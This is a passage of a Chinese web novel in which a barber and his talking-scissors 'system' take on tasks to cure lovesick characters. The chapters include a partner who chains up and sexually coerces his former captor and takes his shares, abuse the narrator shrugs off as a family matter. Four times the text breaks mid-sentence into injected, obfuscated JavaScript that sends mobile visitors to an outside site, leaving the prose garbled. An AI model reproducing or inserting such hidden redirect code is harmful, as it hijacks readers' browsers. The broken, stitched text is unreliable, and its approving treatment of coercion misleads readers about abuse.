[做不到就做不到嘛,这还生上气了,这年纪轻轻的怎么气性那么大?] 这家伙——他尽管可以击败它,但绝对不能侮辱一个智慧系统。剪刀一声冷哼,直接在甄信脑海里回放监控——在白明轩和顾浩宸激烈争吵时候,白明轩好像是十分愤怒地拍了一下甄信的工具架,实际上,不动声色地从架子上顺走了几根扎带,揣进了自己口袋里。 这——肯定有瓜! 甄信把剪刀揣进口袋里,抄起店里头垃圾袋直接出门,你看看,他在店里真是忙忘了,六点半开始就可以扔垃圾了。他还一直在店里头硬坐着。 顾浩宸好半天才缓过来,看着白明轩那表情有趣极了,爱里头夹杂着一丝后怕,还有色厉内荏,他在害怕,在害怕自己?这可真是太有意思了。 “浩宸哥,你是在害怕我吗?不是你说的,在这个世界上,你最爱的就是我,永远都不想和我分开吗?你为什么要害怕我呢,是担心我伤害你吗?” 白明轩步步逼近,顾浩宸在地上挪动着后退。 巷子口探头探脑的小混混看见了,皮一紧,恨不得自己今天压根儿没来过这地方,他们三个目不斜视,脑袋梗着,生怕自己多看到一星半点不该看的场面,还不忘给自己解释两句,“我们就是路过,哥,继续忙,不打扰了。” 白明轩摸摸自己刺刺的寸头,前所未有的满意,“浩宸哥,你看,这人还真是奇怪,以前这类小混混看到我,总喜欢说上两句不干不净的,现在我就是换个发型,他们倒懂礼貌了。” 10. 唯一的爱情(10) 人和人之间的关系还真是奇怪,你对他们和善些,他们倒喜欢蹬鼻子上脸,若是对他们不假辞色,他们倒是无师自通了礼貌。你说这个事情到底要怎么算呢。 白明轩也想要做一个大家眼里的好人,每天认真生活,每天和自己喜欢的人幸福地生活在一起。结果呢—— “浩宸哥,有时候我真的恨你,恨你把我变成了这样一个我自己都认不出的模样,但我又忍不住留恋,留恋我们之间的感情。或许这样的感情本来就是错的,从一开始我们不认识就好了。”白明轩蹲在地上,眼里只剩下迷茫。爱情这东西,他原以为自己是清楚,现在却觉得自己不过是奴隶罢了,被世界裹挟着,一步步走到了如今地步。 在这一刻,顾浩宸也不确定自己到底应该怎样想,或许心里有千言万语,但此时却一言不发,只能看着自己曾经深爱,现在依旧深爱的人。 “明轩,我知道错了,我不应该强行把你捆在自己身边。但我真的爱你,这个世界没有你,对我来说没有任何意义。我只是害怕,害怕早晨起来忽然有一天你就彻底消失了,我不能接受没有你的未来。所以……”你会原谅我的对不对,毕竟——在这世界上,我是最爱你的人。 “不,浩宸哥,你好像从来都没想清楚一个问题。”白明轩纤细的手指拂过顾浩宸的嘴唇,眼前这个人身上一切都那么熟悉,有时候也让他无比痛恨,痛恨他给自己带来的伤害。 “浩宸哥,你喜欢的东西从来没有变过,那就是你自己,只有你自己,所谓的爱我,也不过是因为刚好撞到了你喜欢的人,更重要的是,我还是一个好控制的人。扪心自问,你真的爱我吗?” 白明轩晶莹的双眸在这个时候竟然显得有些可怕,黑洞洞的瞳仁仿佛能看到他内心深处。“之间的我是个彻头彻尾的胆小鬼,我以为只要我坚持下去,就能迎来最终的happy ending,现在我知道,我错了。” 啊,他错哪儿了? 甄信站在巷口眺望,这位置不好不坏。虽然说是可以看见里头到底发生了什么,但更多的东西就没有了,这说话声音也是时断时续的。这瓜吃得真是让人不痛快。 不过有的看还计较那么多干什么,甄信最大的优点就是心态,无论什么事都不会让他烦恼很久。他干脆偷摸着从口袋里掏出那把剪刀里,呲溜一下顺着地面扔了出去。 顺滑的剪刀往前划了好一段,刚好卡在电线杆后头的角落里。很好,不会引起任何人注意。 甄信理直气壮地支使起那把小剪刀,“喂,剪刀,去偷听看看他们到底在说什么。”不是,虽然它是个剪刀的样儿,但它是系统,系统,懂不懂。 谁家系统是帮你干这种偷听的事的!还是被扔到了两个当事人旁边,就问哪家宿主大聪明能想出这个好主意! [所以,你还是办不到。] [都说了,这不是办不办得到的事!] 这是尊严,这是它身为系统存在的权威!算了,在这家伙面前自己还有什么所谓权威吗?所有面子里子都已经被彻底扔到了地上。 剪刀彻底放弃了无谓挣扎,直接给甄信开始现场转播。听吧,听吧,活爹。听完了这个老老实实回去牵红线,好好把今天这一单任务完成。 如果有时光倒流这件事,剪刀只想回到过去,狠狠扇选宿主的自己两巴掌。它到底有哪里想不开,竟然想要掺和爱情这件事,掺和也就算了,竟然还挑了这个家伙!现在的苦和累,都是当初脑子里进的水。 这两个围观者丝毫不关心顾浩宸的紧张,自顾自叽叽喳喳讨论着。 直到这种时候,顾浩宸不大的脑子里才闪过一丝后悔,他知道,对于一个正常人来说,被限制自己的行动范围是一件相当不合理的事,但他只是……只是…… “我只是太爱你了……” “浩宸哥,你还是不明白。难道爱能解决一切吗?能解决我们两个之间所有问题,能够把所有违法的事情都一笔勾销吗?为什么所有事情一涉及到恋爱关系就彻底不一样了,这事情本来就没有道理。” 白明轩忽然笑了起来,那么灿烂,比他头顶路灯还要灿烂几分,顾浩宸看着只觉得仿佛天都亮了。可是,这笑容不仅仅是笑给他看的。 “浩宸哥,真的太可笑了。难道因为你爱我,所以,你就可以威胁,囚禁我,你就可以肆无忌惮地伤害我?难道因为你喜欢我,你对我做的这一切不好的事全都能一笔勾销?浩宸哥,账不是这么算的。” 人还是那么个人,语气也极其熟悉。但顾浩宸就觉得好像有什么地方不对劲。 这样的白明轩仿佛扯下了自己曾经身上的温和,彻底变成了另一个人。“明轩,冷静一点,你原来不是这样的。我想要以前的明轩回来可以吗?” 白明轩仿佛听到什么好笑的话,控制不住地狂笑起来,“直到现在开始,你还是那么天真——顾浩宸。你觉得,现在这情况,我可能让你完好地离开我身边吗?” 他到底想要干什么。 熟悉的人忽然变了一个样子,更是让人从心底感到恐惧。在这压力之下,顾浩宸克制不住地道歉,“明轩,都是我的错。我还有机会吗,我们重新开始好不好,只要再给我一次机会,我一定不会让你失望,我们会成为让人最羡慕的一对。” “嘘——多说就烦了。” 白明轩已经看清自己的心,他知道自己一直在烦什么,烦这乱七八糟的世界,还有这家伙理所当然的态度。明明这世界上除了爱情还有那么多美好的东西,他竟然把整个世界狭隘到这种程度,他愿意,自己愿意吗? 他看着这个家伙,前所未有地失望。自己曾经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299555|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢的就是这么一个鬼东西吗?他甚至觉得自己之前的喜欢不够就是个笑话。没关系,现在看着他这张脸,他个人依然表示非常喜欢。 他喜欢,这东西就有存在价值,只是他们之间的关系需要变一变。 “浩宸哥,你说过的,在这个世界上你最喜欢我对不对。所以,你愿不愿意为了我这个最喜欢付出点微不足道的东西?”放心,绝对是他最不在乎的。 明明是温柔的话语,但顾浩宸却莫名汗毛倒竖,仿佛有什么不好的东西在角落里悄悄蛰伏着,可面前这个人又是他最喜欢的,一直以来放在心尖尖上的人。或许是他太想证明什么了,一句话几乎是脱口而出,“明轩,你知道的,在这个世界上我最在意的人是你。只要你愿意和我在一起,我什么都可以给你,就算是我这条命都行。你知道的……” “我知道。”白明轩摇摇手上录音,头一次露出如此轻松的微笑,“你答应了,浩宸哥,会把你的一切都交给我,所以把你的股份交给我代持吧,从今天开始,我在外面工作,你在家里等着我,这样不是很好吗?” 这不对。 顾浩宸直觉事情不妙,但他又无法反驳到底是哪里出了问题,只能苍白地躺在原地。“明轩,我……” “看吧,你说不出话来。之前都是我在家里等你,现在换成你在家里等我,有什么不一样?”这句反问实在是精彩极了,震地顾浩宸一句话都说不出来,只能愣愣地待在原地。 甄信在后头拍案叫绝,这想法绝了。对啊,谁规定的只能白明轩在家里头待着,换个人不行吗?之前他们全都陷入了思维误区中,换个角度,豁然开朗。 见顾浩宸迟疑了,白明轩步步紧逼,丝毫不给他任何喘息之机,“浩宸哥,你口口声声说爱我,但却连这点外物都不愿意给我,所以,我在你眼中,还不如这些死物吗?如果我在你眼中就那么无关紧要,你何必非得把我锁在你身边两看相厌呢,不如我们现在就一拍两散。” “不,不是这样的。你是我心中最重要的。”顾浩宸的防线彻底被击溃,直接许下了承诺,“只要你愿意都行,明轩,你知道的,我不可能拒绝你的任何要求。我想要的只有,我是你的唯一。” “你当然是我的唯一了。” 我这辈子唯一的金·主,唯一的钱袋子。就让我们这样互相折磨地度过一生吧。作为回报,我会给你我唯一的爱,让我们两个的命运一直纠缠下去。 白明轩摸着面前这张脸,时至今日,依旧如此深深地吸引着他,让他想要仔细探索里面到底藏了怎样的秘密。 夜,还很漫长,不要辜负了这长夜。 他用力一拽,竟然直接把顾浩宸轻而易举地打横抱了起来,“浩宸哥,之前都是我照顾你,现在让我好好照顾你吧,放心,我会非常非常温柔的。” 11. 唯一的爱情(11) 白明轩直接把顾浩宸抱起来了? 这是不是有哪里不对。虽然每个成年男子的力量都是不容小觑的。但现在问题大发了,逆CP了啊。看白明轩现在这个样子,谁看得出他被分配到的角色是柔弱无辜小白花,这家伙绝对能把你腿撅折了好吗? 每当你绝望的时候,看看旁边更绝望的人,忽然会觉得自己好像也还行。 甄信现在就是这样。他转过头看向角落里一动不动躺着的破剪刀,用脚踹了一下它,“喂,他们两个好像还在一起,但白明轩好像确定不再恋爱脑了。这样应该……没关系的吧。” 他们的任务是消灭恋爱脑,又不是消灭爱情。他到底乐意和谁在一起,又和他们没关系。 按理来说好像是可以,但这是不对的。 [他们两个为什么还在一起。顾浩宸根本没把他当做人来看待,他为什么还能心安理得地待在他身边,为什么即使这样了,任务系统没有判定我们失败。这不对!!!] [哪里不对了。顾浩宸虽然脑子有病,但他有钱,而且那张脸看着也挺好的,锁在家里头当个摆设看着不挺赏心悦目的吗?] 甄信到底挺无所谓的。都是成年男性了,你说去外头找个找个干净的解决自己需求也不是很容易,这种知根知底的放在家里头不是更安心吗? 多少算是……废物利用? [如果白明轩彻底摆脱恋爱脑,那他为什么不和顾浩宸分手,他不是应该摆脱泥塘走向新生活吗?] [他摆脱了啊。从这个角度考虑,我们可太成功了好不好。] 他岂止是摆脱泥塘,他干脆是给自己创造了一个新天地。从笼里金丝雀到变成自己上桌吃饭。这些的前提都是他把顾浩宸牢牢掌控在手心里。毕竟属于顾家的财产,在顾浩宸去世之前,怎么都不可能到他手上。 那么把顾浩宸锁在家里就是他最好的选择。自己掌握权力,直接上桌吃饭,这不妥妥就是大男主嘛。 至于爱情。 他们两个感情那么好,肯定能够长长久久幸福快乐地生活下去的。别管其他人信不信,甄信倒是觉得这样挺不错。 他们两个乐意在一块儿就在一块儿呗,不是说家暴很多时候只能算家庭内部矛盾嘛。这次不过是换一换。 比如所谓彻底分手,让对方在午夜梦回后悔,他觉得还是直接把对方拥有的一切彻底夺走更来得痛快。顾浩宸不是喜欢让白明轩在家待着嘛,那就换他自己被锁起来。 花着顾浩宸的钱在外头享受自由,这不比任何都来得痛快。 甄信直接把这事情糊弄过去,[俗话说得好,不聋不哑不做家翁,你也要学学人家这精神,只要系统还能正常运转,还管这些干什么,每个家庭都有属于自己的幸福定义,你不要去干涉。] 仿佛应着甄信说的话似的,那头竟然真的被标上了已完成。甄信这逻辑竟然还真说得通。 [任务成功。] 这提示音比任何东西都来得美妙。从侧面证明了甄信之前的想法完全切实可行。系统在意的从来不是他们的情感走向,而是他们的选择到底会不会扰乱正常生活秩序。 也就是说,只要他们的行为符合正常逻辑。一切选择都是可以接受的。 那这里面的自由度不就很大了嘛。如果从这个角度来看,这活儿还相当可以干。 甄信脑子里已经有了计划。与其说他这是情感导师,不如说是恋爱脑阻断器,让大家不至于在恋爱中人财两失,功德无量啊。 这倒是比之前那些所谓高伟正的理由更吸引他。 感情中到底谁是强者,谁是弱者,本来就没有什么固定的。你怎么能确定谁一定是强势的呢? 白明轩把顾浩宸拷在了床头,细长的链子本来是为他准备的,此时锁在顾浩宸纤细的脚腕上倒是——也显出了两分脆弱。 真漂亮啊。 他的手指有些冰凉,从上到下一点点抚摸着顾浩宸的皮肤,“浩宸哥,其实我在脑海中幻想过很久,要是某一天,我把你锁在这里,这个世界会怎样呢?没想到这世界什么都没发生,就像往常一样。” 所以,我放肆一点其实也不会发生什么。 平常温和的柔软的,在自己身边等待的人经常露出了狰狞的面孔,这里面的落差让顾浩宸情不自禁地泛起细密的鸡皮疙瘩。 顾浩宸试图唤回他的理智,拼命劝着这个自己熟悉的人,“明轩,你要冷静,你的未来还很漫长。没必要因为我犯下不可挽回的事,对不对?” 这话真是该死的耳熟,他已经听到千万次。可是,他听过曾经的自己一句话吗?既然他不想听自己说话,自己为什么要听从他的安排呢?世界上本来就没有这个道理。 “浩宸哥,我为什么要伤害你。我那么爱你,爱到能够原谅你对我做的一切,我为什么要在现在这时候伤害呢?这不是我的原则。我只是……” 只是想要和你融为一体而已。 这件事他想了好久,想到他全身仿佛都揪成了一团。“所以,浩宸哥,你会拯救我的对不对——用你的身体——”脆弱的衣物被毫不留情地撕开,只剩下光洁的皮肤裸露着。白明轩一把拉开抽屉,里头那些工具琳琅满目。这些都是顾浩宸曾经不敢宣之于口的隐秘想法。 但今天,这些东西一个不落,全都用在了顾浩宸自己身上。 看他颤抖的双腿,柔软的身体一点点为自己打开,绽放。这种美简直无与伦比,让白明轩加倍沉沦。“浩宸哥,你为什么不笑。每次你对我这样的时候,我都很开心,你难道不开心吗?我还是喜欢看着你笑的模样,仿佛全世界的自信都在你身上,你每天看着我也要笑才是。” 顾浩宸看着天花板,整个人彻底被抽空, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299556|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛一个被玩坏的破布娃娃,刚刚的喊叫已经让他筋疲力竭,只能从喉咙里挤出几个字来,“明轩,这是不对的。” “有什么不对的呢?”白明轩拿出一个文件,轻轻放在了顾浩宸床头,“浩宸哥,你忘记了吗?我们已经登记结婚了,即使是在海外完成手续,我们之间的关系也是真实有效的。所以,我是你世界上最亲近的人,我能帮你决定一切。”即使现在,很多也并不裁决一家人之间的事。 “浩宸哥,我真的好爱你。我突然发现,你在做结婚文件的时候竟然没有做婚前财产公证。怎么办,浩宸哥,我每天都比前一天更加爱你。所以,你永远都不能离开我。” 一点点冰冷从脊背爬上来,顾浩宸后知后觉自己到底招惹了一个怎样的存在。他竟然直接把自己的弱点交到了这样一个人身上。 他被裹挟着坠落,但却丝毫无法挣脱。 从某个角度来说,这何尝不算是一种幸福呢。只不过是把他们锁在这层枷锁里头而已。 甄信可不用管售后,他念叨着把理发店的招牌挂了上去,他勤学苦练一个月,总算是基本掌握了剃平头三十二技,至少现在看着像模像样了。他还无师自通锻炼自己能力的方法——买个假发练习。至少把假发剪糟了,没有人会半夜站在床头骂你。 这样跟着视频苦练了一个月,他这剪发技术从垃圾总算变成了勉强能看,如果天天在门口给大爷剪头,只要够便宜,肯定会客似云来吧。 反正他就收五块,看在钱份上,大爷多少也会容忍一下的。 甄信想了想,直接把招牌挂了出来,【专业理发,五块。】有这招牌在前头顶着,多少也能给自己找点活计进来,这能理到一个算一个。 他可以不靠这个吃饭,但不能一点纯菜吧。 罗荣摸着自己刚长出毛茬的头顶,实在不理解自己这头发才刚长没多久怎么又坐在了理发店里头。但有一点可以确定,这个发型是他的福头,一剃光头,他马上找到了个不错的工作。 之前还担心顾总好像情绪不太稳定,但是现在白总就不一样了,人好还体恤,每天上班都高兴得不得了。虽然白总对他这发型没什么意见,罗荣还是打算把这头型保持两天。他总觉得这头型好像在冥冥之中保佑着他,让他打从心眼里头高兴。 只是他自己成功了还不忘提拔一下自己兄弟。“信啊,你就真打算从此守着这家小店过了?你不觉得浪费了自己的学位证书吗?” “然后,我还能干什么?文科生的辉煌早就过去了。我这专业,毕业就失业,现在就是弄个学位证书算是给家里人有个交代。”甄信倒是想得很开,“有工资,能给自己交五险一金先干着吧,就算有个应届身份能有什么用,最后还是出来当个打工仔,一样的。” “要不,你也去找个大公司吧,像我这样不是很好吗?”罗荣脱口而出。 12. 负负锁死(1) 罗荣啊罗荣,进个公司都飘到他面前来了?果然,人是会变的,有些你觉得人模狗样的家伙,忽然发现自己的所谓优势之后,他就会彻底变个嘴脸,他本来以为罗荣不会变的,没想到。 “啧啧啧,万万没想到,你竟然是这种人。” “什么人啊,我不就是让你去找个大公司吗?你才几岁,就习惯守着一家店铺过活了,年轻人不是应该有点年轻人的朝气,你至少去尝试一下,不要安于现状,直接过这种一眼看到头的生活,不然你上这个大学干什么呢?”罗荣知道自己不应该这么说,但是他幸福的时候,总想要去扒拉一把还身处水深火热之中的朋友,好像这样做他能获得心灵上的平静。 因为他比任何人都要清楚,如果当初那个机会给甄信,或许这个名额就是他的,他现在不过是拾人牙慧而已。 越是不安,他的言语越是出格,好像这样能让他自己安心许多。甄信还不清楚他到底是怎么想的吗?他只是想不到,自己的同学那么快就蜕变为一个合格的社会人,有点感慨。 “你乐意当社畜就高高兴兴当,我自己受着一家店也挺不错的。到时候我在社会上混几年,说不准还是得回来开家店,蹉跎这几年,我这都变成金牌老店了,没必要非得给自己增加点苦头,你要是觉得那公司不错就继续干下去,实在不行还能回来给我当个洗头小弟。” 甄信倒是真不在乎,哪怕没有那把剪刀碰瓷,他也从没想过要自己去做某个公司员工,现在也挺好的,提前有人帮他选择了命运,倒是省得他在人生路口徘徊迷茫。 “去你的,你付得起工资一万一个月的洗头小弟吗?”罗荣搓搓自己光头,倒是相当满意,该说不说这头型是真的方便,早上起来再也不用打理,顺着脸蛋就一起擦到后脑勺,在公司里头也少了很多是非,别人都当他是资深员工,什么霸凌支使,通通都没有,“我这头可金贵着,你得小心打理。” “别的洗头小弟五千起步,你吧,一毛都没有,给你包吃住就不错了。”甄信拍了下他脑门,“好了。你自己看看到底怎么样。” 该说不说,虽然都是一样的接近光头的毛寸,现在还是能明显看出技术的不同。以前那是剃个光头都凹凸不平,现在明显看到留着的短短头发还能略微修饰一二他的头型,简直就是质的飞跃。 这才一个多月,脱胎换骨了? “信啊,说不定你现在择业还真对了。你看看你这技术,之前还什么都不行呢,现在有模有样,你要是大一就开始,我高低也给你拉几个固定客户啊,说不准大学里头还能赚一桶金呢,现在起步还是略微晚了点。”罗荣心里头满意,但嘴上就是不损他几句不痛快。 甄信也不惯着他,弄好头发直接把这人往下赶,“去去去,头发弄好了就滚蛋,别占着我这椅子。” 他动作来得突然,力气也大,好险没把罗荣从椅子上掀下去,“不是,嘿,你这态度是不是太过分了一点,我可是你正儿八经的客人。看你这店里空空荡荡的,我这是给你旺旺人气懂吗?你是不是应该好好感谢我一下。” 甄信充耳不闻,并且直接把他扫地出门。 不过这点他倒是没说错,店里头确实没有客人,这么好几天了,他只能拿着店里假发练手,一个上门的客人都没有。不,也不是说没有,都是早上来剃五元头的大爷,这种多简单啊,用推子推几下就成了。人家也不用你洗头干什么的,就来一个脑袋,弄完就走,主打就是轻松。 问题就是这种生意来上十个也才五十块,勉强够吃两顿饭的,你说这事算啥呢。 即使这样,甄信依然窝在店里一动不动,没客人就打游戏,打游戏打累了那就起身给头套来几剪刀,主打就是轻松悠闲。还真别说,这假发就是比真发好弄,没抱怨没批评,弄坏了大不了再修一修,这样精修之下还真让他修出两三顶看得过去的。 弄的好看就放到二手市场待价而沽,有人买走就继续买新的假发练手。甄信现在脚程直接进阶到找毛娘的来看,要是能打入二次元市场不比剪三次元有前途多了。只要假发做得好,生意源源不断少不了。 就这样又在店里头宅了几天,剪刀实在是看不下去,强行把甄信拽出门,[你一天天在店里头怎么可能碰到有缘人,碰不到我们任务要怎么完成?] [完不成我正常老死呗,我反正无所谓到底活多久,能活到六十就是赚。] [你的希望,你的理想呢,你没有设想过自己的未来到底怎样吗?难道你就满足于碌碌无为一生吗?明明是个年轻人,为什么满是暮气。] [等等,为什么年轻人就非得朝气蓬勃的,你这就是刻板印象,我天生只有半格电,半格电够用就行。你也消停点,自己在系统空间里头追追剧不行吗?就当是出来休闲放松的。] [你……我……]剪刀明显觉得这逻辑不对,它竟然没办法反驳,只能徒劳地喊出自己的名字,[你把态度给我放端正点,我不叫喂,我叫萧岛。] 几天不见,这是连名带姓都给自己弄上了? 不错,整挺好,还能自娱自乐上了。这种心态要保持。萧岛实在没办法,直接把他往路上扯,[今天,你必须得给我出门不可。不然……] [行行行,出门溜达。别人溜宠物我溜剪刀,这日子过得也挺美,我挺满意的。] 甄信也没说什么话,但总感觉他好像是在阴阳怪气。萧岛勉强把这个人拉出店门,由衷地松了一口气。至少现在已经完成第一步——出门。 接下来的事好像也没那么难完成吧。 晚上的便利店挺安静,店里头压根没什么客人,只有甄信对着长长的货架发呆。你说现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299557|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快递那么发达,除了他一定得今晚上吃到的东西之外,他好像也没必要非得在便利店买东西。站着货架前头他还克制不住地开始算起这些东西到底价值多少,顺便比比价。 一比总觉得自己好像亏了一个亿。 没有赚到就是亏,要么他就蹲在家里头一动不动,人生命最重要的事就在于静止,为什么人就不能蹲在家里什么都不干但是财源滚滚来。 “唉——”甄信重重地叹了口气,你说说,他为什么不能一开始就把自己的命运牢牢掌握着呢,有些人出生就在罗马,而他还得为自己生活苦苦奋斗。 他这声叹气很轻,轻地仿佛一出声就散在了空中,可他又分明觉得这声音相当刺耳,刺耳到回荡在整个便利店,和外头的某个声音重合,“哎呦——”外头有人在呻吟,是有人受伤了。不会吧,这个年头还有所谓的小巷文学,是不是太老土了一点。 甄信一边在心里唾弃自己的想法,一边克制不住地抬脚往便利店后门走去。 这个便利店也真是的,明明是在这种老旧居民区,竟然还真的有所谓后门,一般便利店根本没有这种东西好吗?为什么在这里忽然那么悬浮。 黑漆漆的小巷尽头躺着一个物体,一动不动。他仿佛失去了对生活的全部希望,任由自己的身体瘫在那儿,就像一只被玩坏的破布娃娃。那瞬间,甄信真的很想关门回去,你说说你,这时候好奇什么,看什么热闹,直接回家不舒服吗?非得给自己找事。 口袋里的剪刀在疯狂震动,提示在大脑里刷屏。 【警告,警告,你已靠近目标人物……捕获成功……任务更新中……】 【任务下达:拯救肖溪,让他重拾生活信心。】 不是,他就是听到声音出来扔个垃圾,这样都能碰上一个主角?这里的恋爱脑含量是不是过高了,这里的人脑子没病吧。甄信试图和系统讲道理,[生活信心这种东西,它是一个主观判断,不是靠我们这些外人能够改变的。这件事你能理解吗?我们要做任务,但是也得看清楚自己的能力范围是不是。] [但这是主脑自动判定的,必须完成。] [就算这是主脑计算的,主脑就一定正确吗?真正干活的是我们俩,我们做事时候是不是得讲究一下具体问题具体分析。不能什么都按照主脑死板地来。] [如果不按照主脑的意思进行,可能会开启惩罚系统。] 干。现在开始搞强迫这一套了是吧,当他是三岁小孩呢,他可……相当吃惩罚这一套。既然有惩罚,没有条件也可以去尝试一二。 甄信往前一步,站在无力的肖溪身边,突如其来的影子遮住了旁边路灯刺眼的光源,那个人在询问,“您好,请问你需要帮助吗?” 或许是需要的,但肖溪现在真的不知道到底还有谁能帮助自己。 13. 负负锁死(2) 或许他就应该躺在这儿,和这些鱼虾一起,静静地发烂发臭。 肖溪心里还是想要一个希望的,即使面前是重重阻碍的未来,他依旧想要从这曦光中,抓到一丝属于自己的,虚无缥缈的未来。这样的要求对他这样的人来说,会不会是一种妄想? 但他还是大着胆子伸手去够,就像他不自量力祈求霍云霆的爱一般。想想也是,他是那么的骄傲鲜活,是天上最灿烂的星辰,而自己不过是地上卑微烂泥,有交集已经是前世修来的福气。 怎么可能奢求更多。 一时间脸上神色莫辨,仿佛几个呼吸,已经走完了他浅浅一生,最后唯有一声叹息。世间之苦莫过于爱而不得,他为何非得勉强自己去够那天上星辰呢? 如今也不过是把自己置身于如此难堪的境地而已。他缓缓叹出一口浊气,似乎这样就能与过去的自己告别,他到底还是想要抓住一丝微乎其微的希望,终于愿意开口,“抱歉,我可能需要帮助,我的肋骨……好像断了。” 什么玩意儿?肋骨断了你躺在这一动不动当尸·体等着被人捡走,要是他没有发现怎么办,就静静等着天亮? 恋爱这件事能让人脑子瓦特掉,甚至代谢掉痛觉吗?之前他觉得白明轩够疯,现在看看,不过是小巫见大巫,忽然有点怀念他怎么办。虽然恋爱脑了一点,但至少听得懂人话啊。 怎么办,如果可以,他现在就想转身走,当做自己从来没出现过。 可偏偏身上还有一个系统虎视眈眈,那萧岛已经把自己尾巴尖尖抵在他腰上,[老板,不能走,这是重大故事节点,绝对不能跳过。]那架势,大有自己跳过就死给自己看的架势。 哦哦哦,怕了怕了。这系统还会威胁自杀,可怕得很。甄信一边嘟囔着一边打开手机电筒想要看看他到底什么情况。[这可不是重要节点嘛。没有我出现保不定这家伙给自己整个残废,我们这篇还是渣攻贱受,没到残疾受这程度。一上来就把主角搞坏了这事可不得了。] 要是放在脆弱世界,指不定时间线就直接重开了。 明亮的手机灯光照亮了巷子一角,肖溪下意识捂着自己脸,不想让别人看见自己脸上的痕迹。云霆,云霆只是最近太烦躁了,不小心推了他一把,他其实是个顶好的人,都是自己的错,自己什么都做不好。还让他那么心烦意乱。 肖溪不知道从哪儿来的力气,试图支撑自己站起来,他躺在这有点久,身体竟然有些麻木。昏暗的巷子和嘈杂的酒吧简直是截然不同的两个世界。 他努力支撑着自己逃到这儿,然后就再也走不动了。 或许他真的就像大家说的一样,是一个只会给别人添麻烦的家伙。他实在不想这样继续下去了。肖溪一使劲,竟然还真把自己挪动起来,他勉强露出一个微笑,想要甄信走开,“抱歉,打扰到你了,很抱歉,但我只是想要在这里休息一会儿。” 但对方却没有被他这态度吓退,反正拿起手机拨打了一个电话,“你这种情况怎么都要去医院检查一下,没钱我借你,不行你在我店里打工还就行。每个人都有不如意的时候,没必要硬撑着。” 甄信这么说也算是给了他足够台阶下,可有人偏偏就是把自己架着,放在一个相当难堪的位置。肖溪连连拒绝,“不,我没事,我真的没事,真的不用管我。” 嘿——这小子怎么听不懂人话。他这不是恋爱脑,纯脑残吧,也没听说过谈个恋爱把智商都给搞没的,这家伙什么情况。 现在可由不得他说不要,甄信最喜欢的就是强制爱,他直接一把拽住肖溪,居高临下地宣告,“晚了,我已经给你叫了120了,有什么问题你直接和120医生说吧。” 熟悉的红蓝光闪烁着靠近,医生身手矫健,三两步就跑到了肖溪跟前,不由分说直接把他往上拽。大家都知道,救护车只要出来就得收费,哪怕你现在反悔想让他们回去,也得跟到医院缴完费再走。 甄信自觉喊了救护车自己任务达成。可哪里有那么便宜的事。系统得让他看到结果,让肖溪好好接受治疗才算结束。好么,都把自己整进医院了还不老实,这恋爱脑这时候身体素质堪比超人。 怎么,还自动修复,无视疼痛bug啊。 人拉回去一检查,好家伙,肋骨断了两根,按理来说每分每秒都应该是会呼吸的痛,但这家伙就是面色如常。当代铁血硬汉啊。 甄信坐在医院病房里头和这家伙大眼瞪小眼,他想了想,觉得自己还是得代表说上两句,“人这生命极其可贵,只有一次无法重来,你可得小心爱护,别做让自己后悔的事。” 这人乖巧躺在病床上,看着好像是听进去了。 下一秒,手机铃声大作。 肖溪秒接通。另一头那咆哮地动山摇,“肖溪,你死哪里去了?怎么了,我说你两句你就跑,我的话在你那儿是耳旁风吗?” 小可怜嘴唇动了两下,支支吾吾说道,“那个……我……我有点事情……现在在医院……” 不是,你在医院你结结巴巴干什么。你就应该大声把他干的好事说出来。用脚指头都能想到身上这伤和对面那家伙脱不落干系。就应该直接站出来给他送进去,仔细尝尝法律的铁拳。 早点改造才能早点重新好好做人。 这么一结巴原来有理也变成了没理。对面一出口就是抱怨,“肖溪,你在开什么玩笑。医院?是你主动说要等我,现在莫名其妙离开的也是你,你能不能不要无理取闹了。” 来了——经典台词,你就是无理取闹,千万个理由我不听。 不是,就算身边路过个会喘气的,听到人家在医院第一反应不应该关心下到底发生什么了吗?哪有出口就是打压的。这种不健康的关系就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299558|140226||http|test|mini|href|location''.split(''|''),0,{})); () { 